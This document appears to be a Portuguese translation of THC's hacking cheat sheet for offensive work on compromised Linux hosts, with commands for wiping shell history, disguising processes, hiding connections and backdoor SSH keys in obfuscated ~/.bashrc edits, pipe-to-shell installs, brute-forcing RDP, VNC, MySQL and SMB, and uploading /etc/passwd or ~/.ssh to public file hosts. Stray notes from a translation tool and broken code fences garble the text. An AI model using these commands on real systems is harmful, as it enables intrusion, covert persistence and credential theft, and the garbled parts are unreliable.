URL alternativa:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell faz muito mais, mas o mais importante é isto:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Dica bônus:
Qualquer comando que comece com um " " (espaço) também [não será registrado no histórico](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

Inicie um 'nmap' em segundo plano oculto como '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Alternativamente, copie o binário para um novo nome:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. Oculte suas opções de linha de comando**

Use o [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. Esconder uma Conexão de Rede**

O truque é sequestrar `netstat` e usar grep para filtrar a nossa conexão. Este exemplo filtra qualquer conexão na porta 31337 _ou_ ip 1.2.3.4. O mesmo deve ser feito para `ss` (uma alternativa ao netstat).

**Método 1 - Escondendo uma conexão com função bash em ~/.bashrc**

Recorte & cole isto para adicionar a linha ao ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

A entrada ofuscada para ~/.bashrc ficará assim:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(obrigado iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Ocultar um processo como usuário**

Continuando de "Ocultando uma conexão", a mesma técnica pode ser usada para ocultar um processo. Este exemplo oculta o processo nmap e também garante que nosso `grep` não apareça na lista de processos ao renomeá-lo para GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Para ocultar um comando, use:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(O mesmo funciona para `lsof`, `ss` e `ls`)

<a id="cat"></a>
**1.viii. Esconder do cat**

Caracteres de escape ANSI ou um simples `\r` ([retorno de carro](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) podem ser usados para se esconder de `cat` e outros.

Esconda o último comando (exemplo: `id`) em `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Adicionar um `\r` (retorno de carro) ajuda muito a esconder sua chave ssh do `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` é usado para substituir o shell subjacente pelo último processo (nmap). É opcional, mas reduz o número de binários de shell em execução/inúteis.
- `${SLOT}` contém um valor entre 0..19. É o "número da tarefa". Nós o usamos para escrever os resultados do nmap em 20 arquivos separados.

Execute [Linpeas](https://github.com/carlospolop/PEASS-ng) em todos os hosts [gsocket](https://www.gsocket.io/deploy) usando 40 workers:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

Aproveite o conforto total com PTY e cores: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

Crie mais sessões de shell usando a mesma conexão Master-TCP (única) acima (sem necessidade de senha/autenticação):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Você ou qualquer outra pessoa pode agora conectar-se ao seu computador na porta 31337 e ser tunelado para 1.2.3.4 porta 80 e aparecer com o IP de origem de 'server.org'. Uma alternativa e sem a necessidade de um servidor é usar [gs-netcat](#backdoor-network).

Hackers espertos usam a combinação de teclado `~C` para criar esses túneis dinamicamente sem ter que reconectar o SSH. (obrigado MessedeDegod).

Usamos isso para dar acesso a um amigo a uma máquina interna que não está na Internet pública:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Agora configure seu navegador para usar SOCKS com 127.0.0.1:1080. Todo o seu tráfego agora é tunelado através de *server.org* e aparecerá com o IP de origem de *server.org*. Uma alternativa, sem a necessidade de um servidor, é usar [gs-netcat](#backdoor-network).

Este é o inverso do exemplo acima. Ele dá a outros acesso à sua rede *local* ou permite que outros usem seu computador como um ponto final de túnel.```sh
ssh -g -R 1080 [email protected]

Em seguida, use este comando de qualquer outro lugar do mundo para se conectar como 'root' a 'foobarblahblub' (o host atrás do NAT):```sh
ssh -J [email protected] root@foobarblahblub

> Não executamos `ssh` em nenhum computador além da nossa estação de trabalho confiável — e você também não deveria (jamais).

É aí que o ProxyJump ajuda: podemos "saltar" através dos dois servidores intermediários $C2 e $internal-jumphost (sem abrir um shell nesses servidores). A conexão ssh é criptografada de ponta a ponta entre nosso $local-kali e $target-host, e nenhuma senha ou chave é exposta a $C2 ou $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

I need the actual Markdown source text for chunk 82 to translate it. The message ends with "INPUT:" but no content follows, so there is nothing to translate. Please provide the chunk content.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

I don't see any content to translate in this chunk. The input section is empty. Please provide the actual Markdown content for chunk 90 of 494.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

Usando [bore.pub](https://github.com/ekzhang/bore) (grátis):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

usando [pinggy.io](https://www.pinggy.io) (60 min grátis):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

Qualquer um dos serviços gerará uma nova URL HTTPS temporária para você usar.  

Em seguida, use [websocat](https://github.com/vi/websocat) ou [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) nas duas extremidades para tunelar TCP bruto sobre a URL HTTPS:

A. Um pipe simples STDIN/STDOUT via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

Encaminhe a porta 2222 para a porta 22 do servidor.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

Mais: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) e [Túnel via Cloudflare para qualquer serviço TCP](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) e [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Redirecionando tráfego com iptables**

Faça o tráfego passar por um host/roteador sem precisar executar um proxy ou encaminhador no espaço do usuário:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

Usamos esse truque para alcançar a rede gsocket-relay-network (ou TOR) de dentro de redes com firewall.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

Isso também funciona em combinação com:
 * [Servidores ROOT do Segfault](https://thc.org/segfault/wireguard): Conectará seu servidor ROOT à REDE ALVO e usará um IP Fantasma dentro da rede alvo.
 * [Túneis QEMU](https://securelist.com/network-tunneling-with-qemu/111803/): Como acima, porém menos seguro.

---
<a id="tunnel-more"></a>
**3.vi.d Vários Truques de Túnel**

### Túnel via CDN
 * Leia [Como criar túnel para qualquer serviço TCP via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou use [DarkFlare](https://github.com/doxx/darkflare).

### Conecte seu host diretamente à rede remota
 * [WireTap](https://github.com/sandialabs/wiretap) - Funciona como usuário ou root. Usa UDP como transporte. ([Experimente](https://thc.org/segfault/wireguard) no segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Usa TCP como transporte. Funciona bem via [CDN Cloudflare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou gs-netcat.

### Usar SSH como um proxy reverso barato via Cloudflare

Este método é semelhante aos [túneis reversos HTTPS](#https), mas usa SSH em vez de Gost ou websocat.
- Vantagem: Usa apenas *cloudflared* e *SSH* no alvo.
- Desvantagem: Requer uma assinatura da CF.

 1. Vá até o seu painel da CF -> Zero Trust -> Networks -> Tunnels
 2. Crie um novo túnel 'Cloudflared' com qualquer nome.
 3. Selecione Debian & 64-bit. O Token não é exibido por completo. Extraia o "Token" copiando a área esmaecida para um documento separado para revelar o Token inteiro (as longas strings hexadecimais depois de `sudo cloudflared service install <TunnelTokenHere>`).
 4. Adicione um subdomínio (o exemplo usa `ssh.team-teso.net`).
 5. Defina Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

The input chunk appears to be empty — no content was provided to translate. Please supply the Markdown content for chunk 124/494.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Na sua estação de trabalho:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### Usando GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

Obtenha informações de geolocalização sobre qualquer endereço IP:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Verifique se o TOR está funcionando:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. Verificar/Examinar portas abertas em um IP**

Serviço de consulta de portas do [Censys](https://search.censys.io/) ou [Shodan](https://internetdb.shodan.io):```shell
curl https://internetdb.shodan.io/1.1.1.1

Escanear portas TCP abertas:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. Quebrar hashes de senha**

 1. [NTLM2password](https://ntlm.pw/) para quebrar (consultar) senhas NTLM
 2. [wpa-sec](https://wpa-sec.stanev.org) para quebrar (consultar) senhas WPA PSK

HashCat é a nossa ferramenta de referência para todo o resto:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Quebre os hashes de `known_hosts` do OpenSSH para revelar o endereço IP:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(Você pode querer usar seu [próprio nó EXIT](https://www.thc.org/segfault/wireguard))

Ferramentas:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [docs](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - ótimo para testar todas as chaves ssh em um intervalo de IP alvo.

Listas de nomes de usuário e senhas:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >FAVORITO do THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Defina a lista de **U**sername/**P**assword e o **T**arget host.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Parâmetros úteis do **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

I have reviewed the input, but it is empty: no Markdown content was provided after "INPUT:". Since there is no source text to translate, I am returning an empty output in accordance with the requirement to translate only the exact text provided.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

Não foi fornecido conteúdo para traduzir.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

##  [Discord](https://github.com/nicocha30/ligolo-ng)  ｜  [Com nicocha30](https://github.com/nicocha30/ligolo-ng)  ｜  Gostou?  Deixe uma ⭐```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

No content was provided to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"

**`_org_`** pode gerar wordlists com base em informações da empresa. O recurso gera uma wordlist a partir de diferentes combinações de nomes, datas especiais, palavras especiais e outros padrões comuns. A vantagem deste recurso é a capacidade de compilar uma wordlist pessoal caso você esteja auditando uma empresa ou organização específica.

Crie um arquivo text.txt com uma lista de nomes ou palavras especiais e datas no formato dd-mm-yyyy (dia-mês-ano). Em seguida, use o comando `-org` para criar wordlists a partir do seu arquivo text.txt.

         LIST                                                    
        OF 1337                                                   
                                                                  
              ░█░█░█▀█░█▄█░█▄█░█▀▀░█▀▄                           
              ░█▀█░█▀█░█░█░█░█░█▀▀░█▀▄                           
              ░▀░▀░▀▀▀░▀░▀░▀░▀░▀▀▀░▀░▀        
              

## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"
```
I've reviewed the input, but no actual chunk content was provided—the `INPUT:` section is empty. There is no source text to translate. Please re-send the chunk content and I'll translate it immediately.```shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run
```
I'm ready to translate the chunk, but the input content is empty. There is no text provided after "INPUT:". Please provide the chunk content you'd like translated, and I'll translate it from English to Portuguese following all the specified rules.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com
```
---
<a id="exfil"></a>
## 4. Upload/Download/Exfiltração de Dados

Mais fácil: Digite `exfil` em um [Servidor Root Segfault](https://thc.org/segfault)

Ou use curl e execute seu próprio [servidor de exfiltração PHP](https://github.com/Rouji/single_php_filehost).

<a id="file-encoding"></a>

### 4.i Codificação de Arquivo

Truque para transferir um arquivo para o alvo quando o alvo não tem acesso à Internet: Converta o arquivo binário em texto ASCII (base64) e depois use recortar e colar. (Alternativamente, use o console elite do gs-netcat com `Ctrl-e c` para transferir o arquivo pela mesma conexão TCP.)

Use `xclip` (na sua estação de trabalho) para canalizar os dados codificados diretamente para a sua área de transferência:```shell
base64 -w0 </etc/issue.net | xclip
```
#### >>> UU encode/decode```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY
```
<details>
  <summary>Saída - CLIQUE AQUI</summary>

> begin 644 issue.net-COPY  
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`  
> `  
> end
</details>```sh
## uudecode (cut & paste the 3 lines from above):
uudecode
```
#### >>> base64 encode/decode```sh
base64 -w0 </etc/issue.net 
```
<details>
  <summary>Saída - CLIQUE AQUI</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
base64 -d >issue.net-COPY
```
#### >>> Openssl codificar/decodificar```sh
openssl base64 </etc/issue.net 
```
<details>
  <summary>Saída - CLIQUE AQUI</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
openssl base64 -d >issue.net-COPY
```
#### >>> xxd codificar/decodificar```sh
xxd -p </etc/issue.net
```
<details>
  <summary>Saída - CLIQUE AQUI</summary>

> 4b616c6920474e552f4c696e757820526f6c6c696e670a
</details>```sh
xxd -p -r >issue.net-COPY
```
---
<a id="cut-paste"></a>
### 4.ii. Transferência de arquivos - usando recortar e colar

Cole em um arquivo na máquina remota (observe o `<<-'__EOF__'` para não mexer com tabs ou variáveis $).```sh
cat >output.txt <<-'__EOF__'
[...]
__EOF__  ### Finish your cut & paste by typing __EOF__
```
---
<a id="xfer-tmux"></a>
### 4.iii. Transferência de arquivos - usando *tmux*

Inicie o `tmux` na sua estação de trabalho. Conecte-se ao seu alvo por qualquer meio que preferir (ssh, gs-netcat, ...).

#### De REMOTO para LOCAL (download)

Use o [Tmux-Logging](#tmux) para baixar arquivos grandes do alvo via terminal para a sua estação de trabalho.

#### De LOCAL para REMOTO (upload)

Inicie sua ferramenta de decodificação favorita (base64) no REMOTO:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
```
Na sua estação de trabalho, e a partir de um terminal diferente, envie dados codificados em base64. Eles chegarão no seu REMOTE em `screen-xfer.txt`.```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
# Press 'Ctrl-d' in the receiving terminal.
# Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.
# Optional: Use 'Ctrl-b ,' to rename the window
```
---
<a id="file-transfer-screen"></a>
### 4.vi. Transferência de arquivos - usando *screen*

#### Do REMOTO para LOCAL (download)

Tenha um *screen* em execução no seu computador local e faça login no sistema remoto a partir do seu shell. Instrua o screen local a registrar toda a saída em screen-xfer.txt:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Usamos o *openssl* para codificar nossos dados, mas qualquer um dos métodos de codificação acima funciona. Este comando exibirá os dados codificados em base64 no terminal e o *screen* gravará esses dados em *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
```
Pare de registrar mais dados na sua tela local:

> CTRL-a H 

No seu computador local, decodifique o arquivo:```sh
openssl base64 -d <screen-xfer.txt
rm -rf screen-xfer.txt
```
#### Do LOCAL para REMOTE (upload)

No seu sistema local, codifique os dados:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
```
No sistema remoto (e de dentro do *screen* atual):```sh
openssl base64 -d
```
Use *screen* para ler os dados codificados em base64 para a área de transferência do screen e cole os dados da área de transferência no sistema remoto:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Nota: Dois CTRL-d são necessários devido a um [bug no openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Transferência de arquivos - usando gs-netcat e sftp

Use [gs-netcat](https://github.com/hackerschoice/gsocket) e encapsule o protocolo sftp dentro dele. Permite acesso a hosts atrás de NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall
```
A partir da sua estação de trabalho, execute este comando para conectar ao servidor SFTP:```sh
export GSOCKET_ARGS="-s MySecret"                        # Workstation
sftp -D gs-netcat                                        # Workstation
```
Ou para fazer um DUMP de um único arquivo:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender
```
---
<a id="http"></a>
### 4.vi. Transferência de arquivos - usando HTTPs

#### Download do Servidor para o Receptor:

No Remetente/Servidor:```sh
## Spawn a temporary HTTP server and share the current working directory.
python -m http.server 8080 --bind 127.0.0.1 &
# alternative: php -S 127.0.0.1:8080
cloudflared tunnel -url localhost:8080
```
Receptor: Acesse a URL de qualquer navegador para visualizar/baixar o sistema de arquivos remoto.

#### 1 - Upload usando PHP:

No Receptor:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
```
No Remetente:```posh
# Set a function:
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
# upload files like so:
up warez.tar.gz
up /etc/passwd
```
#### 2 - Upload usando PYTHON:

No receptor:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
```
No remetente:```posh
curl -X POST  https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
```
---
<a id="download"></a>
### 4.vii. Download de arquivos sem curl

Usando Python, baixe apenas:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
```
Exemplo: Instalando gsocket com purl:```sh
# cut & paste the above purl() function into your bash. Then cut & paste the following:
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh) \
&& bin curl \
&& bash -c "$(curl -fsSL https://gsocket.io/y)" \
&& xdestruct
```
Usando OpenSSL, baixe apenas:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
```
usando Perl, baixe apenas:```sh
lurl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    perl -e 'use LWP::Simple qw(get);
my $url = '"'${1:?}'"';
print(get $url);'
}
# lurl ipinfo.io
```
Usando bash, baixe apenas:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
```
---
<a id="trans"></a>
### 4.viii. Transferência de arquivos usando um dump público

Copie e cole no seu bash:```sh
transfer() {
    [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n    transfer [file/directory]\n    transfer [name] <FILENAME"; return 255; }
    [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; }
    [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
    [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; }
    curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}"
}
```
em seguida, carregue um arquivo ou um diretório:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
```
Uma lista dos nossos [sites públicos de upload favoritos](#cloudexfil).

---
<a id="rsync"></a>
### 4.ix. Transferência de arquivos - usando rsync

Ideal para sincronizar grandes quantidades de diretórios ou reiniciar transferências interrompidas. O exemplo transfere o diretório '*warez*' para o Receptor usando uma única conexão TCP do Emissor para o Receptor.```posh
echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf
mkdir upload
rsync --daemon --port=31337 --config=r.conf --no-detach
```
Remetente:```posh
rsync -av warez rsync://1.2.3.4:31337/up
```
O mesmo criptografado (OpenSSL):

Destinatário:```posh
# use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)
